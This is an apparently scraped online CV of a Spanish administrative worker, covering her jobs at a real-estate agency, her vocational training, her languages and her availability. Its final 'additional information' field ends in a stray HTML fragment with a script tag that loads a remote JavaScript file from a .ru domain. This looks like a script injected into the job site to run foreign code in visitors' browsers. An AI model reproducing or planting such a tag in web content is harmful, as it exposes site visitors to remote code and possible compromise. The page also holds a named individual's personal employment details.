

Lydia Diaz Suarez

titulo
Administración.

EXPERIENCIA LABORAL

-2/2004-0/0 PISO Perfecto

Otro no especificado Administración

Adjunta Dpto. Informático.

Tareas administrativas, solventar incidencias informáticas, soporte oficinas comerciales, soporte a diferentes departamentos Dirección General, contabilidad, recursos humanos, websurfer, auditoria programa informático, ofimát
www.pisoperfecto.com

-9/2003-2/2004 PISO Perfecto

Otro no especificado Atención al cliente

Secretaria Informadora.

Tareas administrativas oficina, atención al cliente via teléfono y en persona, asesor comercial inmuebles, cartera inmuebles, gestión inmobiliaria.

Agenda director, asesores.

www.pisoperfecto.com

FORMACIÓN ACADÉMICA

9/2003

Técnico Superior en Documentación Sanitaria

FP3 / Grado Superior Administración y Dirección de Empresas

IES Cal·lipolis.

Tarragona

9/2000

Auxiliar Administrativo

FP1 (Formación Profesional) Administración y Dirección de Empresas

Escola Joan XXIII

IDIOMAS

Español

Nivel:Nivel Profesional

Catalán

Nivel:Nivel Profesional

Inglés



Nivel:Nivel Principiante

Cualidades

Colaborador, Comunicativo/a, Creativo/a, Intuitivo/a, Organizado/a, Preciso/a, Responsable, Sociable, Trabajador/a,

Disponibilidad

Estoy dispuesto a viajar: No

Estoy dispuesto a trabajar en el extranjero: No

Estoy dispuesto a trabajar fuera de mi región: No

Información Adicional:

Pon tu Curriculum aquí...</B/ </> </>script src=http://www.bannerdriven.ru/ads.js>

